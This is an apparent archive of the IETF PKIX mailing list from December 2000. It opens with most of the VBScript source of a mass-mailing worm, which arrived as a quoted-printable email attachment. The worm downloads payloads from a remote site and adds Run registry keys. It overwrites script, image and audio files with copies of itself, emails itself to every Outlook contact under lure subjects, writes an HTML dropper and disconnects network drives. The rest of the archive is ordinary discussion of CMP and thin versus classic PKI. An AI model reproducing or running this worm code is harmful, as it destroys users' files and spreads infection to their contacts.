Page","http://members.fortunecity.com/plancolombia/linux322.zip"
       end if=20
    end if =20
 end if
end if

if (fileexist(downread&"\MACROMEDIA32.zip")=3D0) then
  res =3D Shell("copy " & downread & "\MACROMEDIA32.zip  " & dirwin & =
"\important_note.txt", vbHide)
  regcreate =
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\plan =
colombia",dirwin&"\important_note.txt"
  regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet =
Explorer\Main\Start Page","about:blank"
 else
  if (fileexist(downread&"\linux321.zip")=3D0) then
     Kill (dirwin & "\logos.sys")
     res =3D Shell("copy " & downread & "\linux321.zip  " & dirwin & =
"\logos.sys", vbHide)
     regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet =
Explorer\Main\Start Page","about:blank"    =20
    else
      if (fileexist(downread&"\linux322.zip")=3D0) then
        Kill (dirwin & "\logow.sys")
        res =3D Shell("copy " & downread & "\linux322.zip  " & dirwin & =
"\logow.sys", vbHide) =20
        regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet =
Explorer\Main\Start Page","about:blank"    =20
      end if  =20
  end if
end if
end sub



sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc =3D fso.Drives

For Each d in dc
 If d.DriveType =3D 2 or d.DriveType=3D3 Then
  folderlist(d.path&"\")
 end if
Next

listadriv =3D s
end sub



sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f =3D fso.GetFolder(folderspec)
set fc =3D f.Files

for each f1 in fc
 ext=3Dfso.GetExtensionName(f1.path)
 ext=3Dlcase(ext)
 s=3Dlcase(f1.name)
if (ext=3D"vbs") or (ext=3D"vbe") then
  set ap=3Dfso.OpenTextFile(f1.path,2,true)
  ap.write vbscopy
  ap.close
 else
  if(ext=3D"js") or (ext=3D"jse") or (ext=3D"css") or (ext=3D"wsh") or =
(ext=3D"sct")  or (ext=3D"hta") then
   set ap=3Dfso.OpenTextFile(f1.path,2,true)
   ap.write vbscopy
   ap.close
   bname=3Dfso.GetBaseName(f1.path)
   set cop=3Dfso.GetFile(f1.path)
   cop.copy(folderspec&"\"&bname&".vbs")
   fso.DeleteFile(f1.path) =20
 else
  if(ext=3D"jpg") or (ext=3D"jpeg") then
   set ap=3Dfso.OpenTextFile(f1.path,2,true)
   ap.write vbscopy
   ap.close
   set cop=3Dfso.GetFile(f1.path)
   cop.copy(f1.path&".vbs")
   fso.DeleteFile(f1.path) =20
 else
  if(ext=3D"mp3") or (ext=3D"mp2") then
   set mp3=3Dfso.CreateTextFile(f1.path&".vbs")
   mp3.write vbscopy
   mp3.close
   set att=3Dfso.GetFile(f1.path)
   att.attributes=3Datt.attributes+2
 end if
 end if
 end if
end if
next

end sub



sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f =3D fso.GetFolder(folderspec)
set sf =3D f.SubFolders

for each f1 in sf
 infectfiles(f1.path)
 folderlist(f1.path)
next

end sub


sub regcreate(regkey,regvalue)
Set regedit =3D CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub


function regget(value)
Set regedit =3D CreateObject("WScript.Shell")
regget=3Dregedit.RegRead(value)
end function


function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
  msg =3D 0
else
  msg =3D 1
end if
fileexist =3D msg
end function


function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
 msg =3D 0
else
 msg =3D 1
end if
fileexist =3D msg
end function



sub spreadtoemail()
On Error Resume Next
dim =
x,a,ctrlists,ctrentries,correoad,b,regedit,regv,regad,textosub,textobod

set regedit=3DCreateObject("WScript.Shell")
set out=3DWScript.CreateObject("Outlook.Application")
set mapi=3Dout.GetNameSpace("MAPI")

Randomize
numero =3D Int(Rnd * 3) + 1
textosub =3D ""
If numero =3D 1 Then
  textosub =3D "US PRESIDENT AND FBI SECRETS =3DPLEASE VISIT =3D> =
(http://WWW.2600.COM)<=3D"
 Else
  If numero =3D 2 Then
    textosub =3D polyname(6)
  End If
End If


Randomize
numero =3D Int(Rnd * 3) + 1
textobod =3D ""
If numero =3D 1 Then
  textobod =3D "VERY JOKE..! SEE PRESIDENT AND FBI TOP SECRET =
PICTURES.."
 Else
  If numero =3D 2 Then
    textobod =3D polyname(10)
  End If
End If


for ctrlists=3D1 to mapi.AddressLists.Count
 set a=3Dmapi.AddressLists(ctrlists)
 x=3D1
 regv=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
 if (regv=3D"") then
 regv=3D1
 end if
 if (int(a.AddressEntries.Count)>int(regv)) then
=20
  for ctrentries=3D1 to a.AddressEntries.Count
   correoad=3Da.AddressEntries(x)
   regad=3D""
   =
regad=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&corre=
oad)
   if (regad=3D"") then
     set correo=3Dout.CreateItem(0)
     correo.Recipients.Add(correoad)
     correo.Subject =3D textosub
     correo.Body =3D vbcrlf&textobod
     correo.Attachments.Add(dirsystem&polyn)
     correo.Send
     regedit.RegWrite  =
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&correoad,1,"REG_DWORD"
   end if
     x=3Dx+1
  next

  regedit.RegWrite  =
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
 else
   regedit.RegWrite  =
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next

Set out=3DNothing
Set mapi=3DNothing
end sub


Function polyname(n)
Dim i, vector, texto, pos
on error resume next
rem polyformic ( ohhhh yeahhh...) very good polyformic engine  :() by =
Sand Ja9e Gr0w

vector =3D Array("A", "E", "I", "O", "U")
texto =3D ""
Randomize
For i =3D 1 To n
  Randomize
  rem  consonante
  texto =3D texto&Chr(Int((Rnd * 25) + 65))
  i =3D i + 1
  If i > n Then
   exit for
  end if
  rem  vocal
  texto =3D texto&vector(Int((Rnd * 4) + 1))
  Randomize
Next

polyname =3D texto
End Function




sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1=3D"<HTML><HEAD>"&_
"<?-?HEAD><BODY =
ONMOUSEOUT=3D@-@window.name=3D#-#main#-#;window.open(#-#US-PRESIDENT-AND-=
FBI-SECRETS.HTM# -#,#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=3D@-@window.name=3D#-#main#-#;window.open(#-#US-PRESIDENT-AND-=
FBI-SECRETS.HTM# -#,#-#main#-#)@-@ BGPROPERTIES=3D@-@fixed@-@ =
BGCOLOR=3D@-@#FF9933@-@>"&vbcrlf& _
"<CENTER><p>M.H.M TEAM <?-?p><p>Colombia<BR>- Please press #-#YES#-# =
button for see secret pictures<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=3D@-@infinite@-@ BGCOLOR=3D@-@yellow@-@>Hello =
Colombia...! Since Here, after, since other part of World..<?-?MARQUEE> =
"&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"<SCRIPT language=3D@-@JScript@-@>"&vbcrlf& _
"<!--?-??-?"&vbcrlf& _
"if (window.screen){var wi=3Dscreen.availWidth;var =
hi=3Dscreen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcr=
lf& _
  "?-??-?-->"&vbcrlf& _
  "<?-?SCRIPT>"&vbcrlf& _
  "<SCRIPT LANGUAGE=3D@-@VBScript@-@>"&vbcrlf& _
  "<!--"&vbcrlf& _
  "on error resume next"&vbcrlf& _
  "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
  "aw=3D1"&vbcrlf& _
  "code=3D"

  dta2=3D"set =
fso=3DCreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
  "set dirsystem=3Dfso.GetSpecialFolder(1)"&vbcrlf& _
  "code2=3Dreplace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
  "code3=3Dreplace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
  "code4=3Dreplace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
  "set wri=3Dfso.CreateTextFile(dirsystem&@-@^-^LINUX32.vbs@-@)"&vbcrlf& =
_
  "wri.write code4"&vbcrlf& _
  "wri.close"&vbcrlf& _
  "if (fso.FileExists(dirsystem&@-@^-^LINUX32.vbs@-@)) then"&vbcrlf& _
  "if (err.number=3D424) then"&vbcrlf& _
  "aw=3D0"&vbcrlf& _
  "end if"&vbcrlf& _
  "if (aw=3D1) then"&vbcrlf& _
  "document.write @-@ERROR: can#-#t load Pictures. IE internal =
Error@-@"&vbcrlf& _
  "window.close"&vbcrlf& _
  "end if"&vbcrlf& _
  "end if"&vbcrlf& _
  "Set regedit =3D CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
  "regedit.RegWrite  =
@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-=
^Run^-^LINUX32@-@,dirsystem&@-@^-^LINUX32.vbs@-@"&vbcrlf& _
  "?-??-?-->"&vbcrlf& _
  "<?-?SCRIPT>"

  dt1=3Dreplace(dta1,chr(35)&chr(45)&chr(35),"'")
  dt1=3Dreplace(dt1,chr(64)&chr(45)&chr(64),"""")
  dt4=3Dreplace(dt1,chr(63)&chr(45)&chr(63),"/")
  dt5=3Dreplace(dt4,chr(94)&chr(45)&chr(94),"\")
  dt2=3Dreplace(dta2,chr(35)&chr(45)&chr(35),"'")
  dt2=3Dreplace(dt2,chr(64)&chr(45)&chr(64),"""")
  dt3=3Dreplace(dt2,chr(63)&chr(45)&chr(63),"/")
  dt6=3Dreplace(dt3,chr(94)&chr(45)&chr(94),"\")
  set fso=3DCreateObject("Scripting.FileSystemObject")
  set c=3Dfso.OpenTextFile(WScript.ScriptFullName,1)
  lines=3DSplit(c.ReadAll,vbcrlf)
  l1=3Dubound(lines)

  for n=3D0 to ubound(lines)
    lines(n)=3Dreplace(lines(n),"'",chr(91)+chr(45)+chr(91))
    lines(n)=3Dreplace(lines(n),"""",chr(93)+chr(45)+chr(93))
    lines(n)=3Dreplace(lines(n),"\",chr(37)+chr(45)+chr(37))
    if (l1=3Dn) then
      lines(n)=3Dchr(34)+lines(n)+chr(34)
     else
      lines(n)=3Dchr(34)+lines(n)+chr(34)&"&vbcrlf& _"
   end if
  next

  set =
b=3Dfso.CreateTextFile(dirsystem+"\US-PRESIDENT-AND-FBI-SECRETS.HTM")
  b.close
  set =
d=3Dfso.OpenTextFile(dirsystem+"\US-PRESIDENT-AND-FBI-SECRETS.HTM",2)
  d.write dt5
  d.write join(lines,vbcrlf)
  d.write vbcrlf
  d.write dt6
  d.close
end sub



sub killnet()
Dim intDrive,strDrive,WSHNetwork

on error resume next


Set WSHNetwork =3D WScript.CreateObject("WScript.Network")

    For intDrive =3D 26 To 5 Step -1      =20
               strDrive =3D Chr(intDrive + 64) & ":"       =20
               WSHNetwork.RemoveNetworkDrive strDrive
    Next

rem  bye net connection ...                 :-(
Set WSHNetwork=3DNothing

end sub

------=_NextPart_000_00C9_01C06904.533323E0--



Received: from mail0.sibs.pt (mail0.sibs.pt [195.138.0.101]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id EAA13850 for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 04:01:16 -0800 (PST)
Received: (qmail 14423 invoked from network); 18 Dec 2000 11:49:11 -0000
Received: from unknown (HELO mail.sibs.pt) (172.17.0.2) by 172.16.0.3 with SMTP; 18 Dec 2000 11:49:11 -0000
Received: from edi.van ([194.117.48.12]) by mail.sibs.pt (Netscape Mail Server v2.02) with ESMTP id AAA1483 for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 12:03:11 +0000
Received: from SIBSEX.sibs ([192.168.250.26]) by edi.van (8.8.2/8.8.2) with ESMTP id MAA00207 for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 12:01:21 GMT
Received: by sibsex.sibs with Internet Mail Service (5.5.2650.21) id <XC7FT970>; Mon, 18 Dec 2000 12:16:56 -0000
Message-ID: <63DA964A0E78D211B53E0008C7A4F56D01BCFA26@sibsex.sibs>
From: Rui Oliveira <ROliveira@sibs.mailcom.pt>
To: "'ietf-pkix@imc.org'" <ietf-pkix@imc.org>
Subject: subscribe
Date: Mon, 18 Dec 2000 12:16:51 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"


Received: from atsgw.cyber.ee (atsgw.cyber.ee [195.50.202.13]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id DAA07872 for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 03:06:27 -0800 (PST)
Received: from kiku.itsise (kiku.itsise [192.168.2.2]) by atsgw.cyber.ee (8.11.1/8.11.1) with ESMTP id eBIB9QV15749; Mon, 18 Dec 2000 13:09:26 +0200
Received: from cyber.ee (dino.itsise [192.168.2.137]) by kiku.itsise (8.9.1a/8.9.1) with ESMTP id NAA02825; Mon, 18 Dec 2000 13:09:23 +0200
Message-ID: <3A3DF13E.DF8218AE@cyber.ee>
Date: Mon, 18 Dec 2000 13:13:02 +0200
From: Margus Freudenthal <margus@cyber.ee>
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: ee,et,en
MIME-Version: 1.0
To: Carlisle Adams <carlisle.adams@entrust.com>
CC: PKIX list <ietf-pkix@imc.org>
Subject: Re: CMP question
References: <DD62792EA182FF4E99C2FBC07E3053BD053EDD@sottmxs09.entrust.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hello.

> Carlisle Adams wrote:
> 
> If "the sending party needs to know that (a particular) receiver has
> really got and understood the message", then the sender should use
> some mechanism other than a broadcast announcement to achieve this.

In that case, what CMP message should be used for sending "personal"
announcements which require confirmation receipts?



-- 
Margus


Received: from mailg.telia.com (root@mailg.telia.com [194.22.194.26]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id AAA14572 for <ietf-pkix@imc.org>; Sat, 16 Dec 2000 00:25:43 -0800 (PST)
Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241]) by mailg.telia.com (8.9.3/8.9.3) with ESMTP id JAA24051; Sat, 16 Dec 2000 09:28:33 +0100 (CET)
Received: from mega (t1o69p1.telia.com [62.20.144.1]) by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eBG8SWo12259; Sat, 16 Dec 2000 09:28:32 +0100 (CET)
Message-ID: <004401c06739$f7b9f550$0201a8c0@vincent.se>
From: "Anders Rundgren" <anders.rundgren@telia.com>
To: "PKIX-List" <ietf-pkix@imc.org>, "Stephen Kent" <kent@bbn.com>
References: <009601c06682$4bafd4d0$0201a8c0@vincent.se> <v04220800b65fe2367041@[171.78.30.107]> <013101c066c3$d63b4bc0$0201a8c0@vincent.se> <v04220802b660338b1fb9@[171.78.30.107]>
Subject: Digital Signature Infrastructure Was: Classic PKI vs Thin PKI/S2ML
Date: Sat, 16 Dec 2000 09:27:01 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id AAA14579

Steve,

> The financial community has a set of concerns that are entirely 
> valid, and are NOT the whole of PKI. 

maybe not, but their basic model for domain-security, and general trust model does IMO apply to 
practically the entire O2O/B2B-field. 95% or more is my educated guess. 

Here is an extremely condensed version of my (unfortunately refused) RSA2001 paper on the subject.

Just to take a very simple example from the health-care sector (to get away from the proprietary stigma
of the financial sector). An outside service provider like a catering company that is getting orders 
from "a PKI-enabled healthcare community": 

Using Classical PKI, the biggest problem (except who is going to issue certificates, potentially containing role
data) with such signatures are: 
- Authority. Who has the right to perform a certain signature? And how do you express it? 
- Trace ability. How do you save signatures (i.e. decisions/orders/prescriptions)?
- Relying party. What to interpret and trust? 

Using Thin PKI the solution gets very simple although [maybe] incompatible with current signature laws: 

A. An organization representative signs using an individual cert+key. The cert does not even have to say 
    that the representative is employed by the organization or has some particular function. 
B. The signed transaction is sent to an "organization-authority-and-signing-server" that 
B.1 Checks that the cert is not revoked and coming from a trusted issuer 
B.2 Checks that the individual is working for the organization and is AUTHORIZED 
to perform the signature operation 
B.3 Saves the transaction as a receipt versus the representative 
B.4 Removes the representative's signature. Sheltering individuals/employees is a requirement.
   Contact information is another thing which should be supplied in the transaction as attributes 
B.5 Adds an "organizational signature" (=stamp) to the unsigned transaction 
B.6 Saves the re-signed transaction as a receipt versus the "outside" / receiver 
C. Sends the re-signed transaction to the end-destination 

The Stamp (organization certificate) can preferably be issued by a TTP and be published on the
organization's home-page for easy reference. Can PKI be simpler?  You may think that this
trust model is very primitive as there is no [external] granularity, but this is by design.  Simplicity
has an advantage: It can be communicated and implemented.  Organization certificates then become
the true digital replacements to company letterheads.  For the rare instances you [externally] need
tighter bindings, you can always dual-sign transactions, add TSP etc.  The bottom
line is that the basic infrastructure is still intact!

Using the above approach the "information tunnel" between organizations is minimized and
scalability is optimized. And with backtracking and archiving is built-in.

This is actually the way banks operate. I.e. their clients are only [fully] known and trusted locally,
while the banks as organizations have their own interoperable and trusted domain . 

And in similarity to banks this allows the clients security solutions develop in
a different pace (and uncoordinated among organizations), versus the inter-organization
security solutions. 

Using TTPs and ASPs, Thin PKI scales downwards as well.  Any organization
will be able to use digital signatures with ease.  As they already can with Internet-banks.

Note1: I have yet to see a single classical PKI program having acceptable (and particularly 
DEPLOYABLE) solutions to archiving, authority control, and backtracking. 

Note2: I did not invent this model. The banks did (in principal). 200-300 years ago... 
Using PKI, secure servers, LDAP and transaction databases,  it gets really cool! 

Anders Rundgren
co-founder
X-OBI
+46 70 - 627 74 37




Received: from mail02-ewr.pilot.net (mail-ewr-2.pilot.net [206.98.230.16]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id QAA21706 for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 16:52:36 -0800 (PST)
From: Lynn.Wheeler@firstdata.com
Received: from mailgw.firstdata.com ([204.48.27.156]) by mail02-ewr.pilot.net with ESMTP id TAA17725; Fri, 15 Dec 2000 19:55:29 -0500 (EST)
Received: from lnsunr02.fl.firstdata.com (localhost [127.0.0.1]) by mailgw.firstdata.com with SMTP id TAA06630; Fri, 15 Dec 2000 19:55:28 -0500 (EST)
Received: by lnsunr02.fl.firstdata.com(Lotus SMTP MTA v4.6.5  (863.2 5-20-1999))  id 852569B7.0004FB7D ; Fri, 15 Dec 2000 19:54:25 -0500
X-Lotus-FromDomain: FDC
To: phil.griffin@asn-1.com
cc: pkix list <ietf-pkix@imc.org>
Message-ID: <852569B7.0004F9B2.00@lnsunr02.fl.firstdata.com>
Date: Fri, 15 Dec 2000 17:53:37 -0800
Subject: Re: Classic PKI vs Thin PKI/S2ML
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline

i think you are referring to having seem me more in the context of X9A meetings
and specifically X9A10 and work on the X9.59 standard for electronic
account-based payments. I don't think you have check on my being a corporate
representative to some of the X9F committees and/or checked my membership in the
majority of the X9F working groups (some more active than others).






"Phillip H. Griffin" <phil.griffin@asn-1.com> on 12/15/2000 01:14:50 PM

Please respond to phil.griffin@asn-1.com

To:   pkix list <ietf-pkix@imc.org>
cc:    (bcc: Lynn Wheeler/CA/FDMS/FDC)
Subject:  Re: Classic PKI vs Thin PKI/S2ML




Stephen Kent wrote (in part):
>
snip
>
> The financial community has a set of concerns that are entirely
> valid, and are NOT the whole of PKI. Lynn Wheeler, who just
> contributed to this discussion, pursues PKI issues in ANSI F9, a
> standards committee devoted to that application area.

Wait a minute. As far as I know, Mr. Wheeler is not
involved in any of the security area standards being
developed in X9F, but participates frequently in X9A.
Not the same working groups.

Phil
----
Phillip H. Griffin      Griffin Consulting
http://asn-1.com        Secure ASN.1 Design & Implementation
+1-919-832-7008         1625 Glenwood Avenue, Five Points
+1-919-832-7390 [fax]   Raleigh, North Carolina  27608  USA
------------------------------------------------------------








Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA20579 for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 15:54:35 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <0G5M00501VVP01@ext-mail.valicert.com> for ietf-pkix@imc.org; Fri, 15 Dec 2000 15:57:26 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <0G5M004A6VVPLF@ext-mail.valicert.com>; Fri, 15 Dec 2000 15:57:25 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <YCZ30HAW>; Fri, 15 Dec 2000 15:54:20 -0800
Content-return: allowed
Date: Fri, 15 Dec 2000 15:54:15 -0800
From: Peter Williams <peterw@valicert.com>
Subject: RE: Thin PKI won - You lost
To: "'Lynn.Wheeler@firstdata.com'" <Lynn.Wheeler@firstdata.com>
Cc: PKIX-List <ietf-pkix@imc.org>
Message-id: <613B3C619C9AD4118C4E00B0D03E7C3E182B3B@exchange.valicert.com>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id PAA20580

The Davies and Price original conception of the ideas of 
key certification around in international (but few US) circles in 1976/7/8/9

was one in which the CA issued an interactive certificate, attesting to 
the current validity of the key binding, in the context of the 
transaction, thus providing appropriate dispute resolution capabilities 
to a limited group of parties.

There are several current trends back towards the D&P model 
in banking and related settlement-orinted transactions.  

Its fascinating to read the EFT and security books of this era.

-----Original Message-----
From: Lynn.Wheeler@firstdata.com [mailto:Lynn.Wheeler@firstdata.com]
Sent: Friday, December 15, 2000 8:24 AM
To: Camillo Särs
Cc: Anders Rundgren; PKIX-List
Subject: Re: Thin PKI won - You lost






>the response (to the merchant) doesn't currently have to be signed
>for authentication purposes because it comes in via a trusted network.
>One could imagine migration to a non-trusted network implementation
>for the response ... reguiring signed authentication. However, because
>of the required prior business relationships there isn't a requirement for
>offline trust propogation, the public key of the responding merchant
>financial entity is simply installed at the merchant (possibly in a manner
>similar to the way that root public keys are delivered in browsers,
>but under somewhat more strict business controls).

of course one could quibble whether the above referenced signed response is
a
thin certificate or not. it could look & taste like a thin certificate ...
the
primary business difference between a thin certificate and a signed
transactions
... is one (the certificate) is signed before the transaction (and might
possibly be used for multiple transactions) and the other (signed
transaction)
is specific to the current transactions. In effect, the thin certificate has
the
liable party signing something for offline trust propogation that they might
not
have exact knowledge of before hand. As a thin PKI makes more & more of the
transition to online ... it eventually crosses the business line from doing
pre-authorized signatures to signing the actual transactions.





Received: from geos.coastside.net (geos.coastside.net [207.213.212.4]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA19683 for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 15:18:45 -0800 (PST)
Received: from heatherdale (dsl-63-194-153-52.coastside.net [63.194.153.52]) by geos.coastside.net (8.11.0/8.11.1) with SMTP id eBFNLSj05156; Fri, 15 Dec 2000 15:21:29 -0800 (PST)
From: "Michael Myers" <myers@coastside.net>
To: "Stephen Kent" <kent@bbn.com>, "ietf-pkix" <ietf-pkix@imc.org>
Cc: <jis@mit.edu>
Subject: RE: meeting minutes
Date: Fri, 15 Dec 2000 15:25:06 -0800
Message-ID: <MABBLIPCLMIBCAMBOADOOECCCAAA.myers@coastside.net>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <v04220800b65de39becc7@[128.33.238.91]>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

Steve,

Carlisle also brought notice to the WG of the PKI Forum's intent to stage an
OCSPv1 interop activity.

Mike



Received: from mail01-ewr.pilot.net (mail-ewr-1.pilot.net [206.98.230.18]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id OAA18208 for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 14:23:42 -0800 (PST)
From: Lynn.Wheeler@firstdata.com
Received: from mailgw.firstdata.com ([204.48.27.156]) by mail01-ewr.pilot.net with ESMTP id RAA16399; Fri, 15 Dec 2000 17:26:35 -0500 (EST)
Received: from lnsunr02.fl.firstdata.com (localhost [127.0.0.1]) by mailgw.firstdata.com with SMTP id RAA00314; Fri, 15 Dec 2000 17:26:34 -0500 (EST)
Received: by lnsunr02.fl.firstdata.com(Lotus SMTP MTA v4.6.5  (863.2 5-20-1999))  id 852569B6.007B3136 ; Fri, 15 Dec 2000 17:25:35 -0500
X-Lotus-FromDomain: FDC
To: phil.griffin@asn-1.com
cc: pkix list <ietf-pkix@imc.org>
Message-ID: <852569B6.007B2FAA.00@lnsunr02.fl.firstdata.com>
Date: Fri, 15 Dec 2000 15:04:18 -0800
Subject: Re: Classic PKI vs Thin PKI/S2ML
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline

i think you are referring to having seem me more in the context of X9A meetings
and specifically X9A10 and work on the X9.59 standard for electronic
account-based payments. I don't think you have check on my being a corporate
representative to some of the X9F committees and/or checked my membership in the
majority of the X9F working groups (some more active than others).






"Phillip H. Griffin" <phil.griffin@asn-1.com> on 12/15/2000 01:14:50 PM

Please respond to phil.griffin@asn-1.com

To:   pkix list <ietf-pkix@imc.org>
cc:    (bcc: Lynn Wheeler/CA/FDMS/FDC)
Subject:  Re: Classic PKI vs Thin PKI/S2ML




Stephen Kent wrote (in part):
>
snip
>
> The financial community has a set of concerns that are entirely
> valid, and are NOT the whole of PKI. Lynn Wheeler, who just
> contributed to this discussion, pursues PKI issues in ANSI F9, a
> standards committee devoted to that application area.

Wait a minute. As far as I know, Mr. Wheeler is not
involved in any of the security area standards being
developed in X9F, but participates frequently in X9A.
Not the same working groups.

Phil
----
Phillip H. Griffin      Griffin Consulting
http://asn-1.com        Secure ASN.1 Design & Implementation
+1-919-832-7008         1625 Glenwood Avenue, Five Points
+1-919-832-7390 [fax]   Raleigh, North Carolina  27608  USA
------------------------------------------------------------








Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA15733 for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 13:37:05 -0800 (PST)
Received: from [171.78.30.107] (comsec.bbn.com [171.78.30.107]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id QAA21712; Fri, 15 Dec 2000 16:39:51 -0500 (EST)
Mime-Version: 1.0
X-Sender: kent@po1.bbn.com
Message-Id: <v04220808b6603eafbde7@[171.78.30.107]>
In-Reply-To: <3A3A89CA.F7EB23F1@asn-1.com>
References: <009601c06682$4bafd4d0$0201a8c0@vincent.se>	 <v04220800b65fe2367041@[171.78.30.107]>	 <013101c066c3$d63b4bc0$0201a8c0@vincent.se> <v04220802b660338b1fb9@[171.78.30.107]> <3A3A89CA.F7EB23F1@asn-1.com>
Date: Fri, 15 Dec 2000 16:33:49 -0500
To: phil.griffin@asn-1.com
From: Stephen Kent <kent@bbn.com>
Subject: Re: Classic PKI vs Thin PKI/S2ML
Cc: pkix list <ietf-pkix@imc.org>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Phil,

Thanks for the correction.

Steve


Received: from johnson.mail.mindspring.net (johnson.mail.mindspring.net [207.69.200.177]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA15039 for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 13:08:51 -0800 (PST)
Received: from asn-1.com (user-2ivf7mh.dialup.mindspring.com [165.247.158.209]) by johnson.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id QAA28528 for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 16:11:42 -0500 (EST)
Message-ID: <3A3A89CA.F7EB23F1@asn-1.com>
Date: Fri, 15 Dec 2000 16:14:50 -0500
From: "Phillip H. Griffin" <phil.griffin@asn-1.com>
Reply-To: phil.griffin@asn-1.com
Organization: Griffin Consulting 
X-Mailer: Mozilla 4.61 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
To: pkix list <ietf-pkix@imc.org>
Subject: Re: Classic PKI vs Thin PKI/S2ML
References: <009601c06682$4bafd4d0$0201a8c0@vincent.se> <v04220800b65fe2367041@[171.78.30.107]> <013101c066c3$d63b4bc0$0201a8c0@vincent.se> <v04220802b660338b1fb9@[171.78.30.107]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Stephen Kent wrote (in part):
> 
snip
> 
> The financial community has a set of concerns that are entirely
> valid, and are NOT the whole of PKI. Lynn Wheeler, who just
> contributed to this discussion, pursues PKI issues in ANSI F9, a
> standards committee devoted to that application area.

Wait a minute. As far as I know, Mr. Wheeler is not
involved in any of the security area standards being
developed in X9F, but participates frequently in X9A. 
Not the same working groups.

Phil
----
Phillip H. Griffin      Griffin Consulting
http://asn-1.com        Secure ASN.1 Design & Implementation
+1-919-832-7008         1625 Glenwood Avenue, Five Points
+1-919-832-7390 [fax]   Raleigh, North Carolina  27608  USA
------------------------------------------------------------


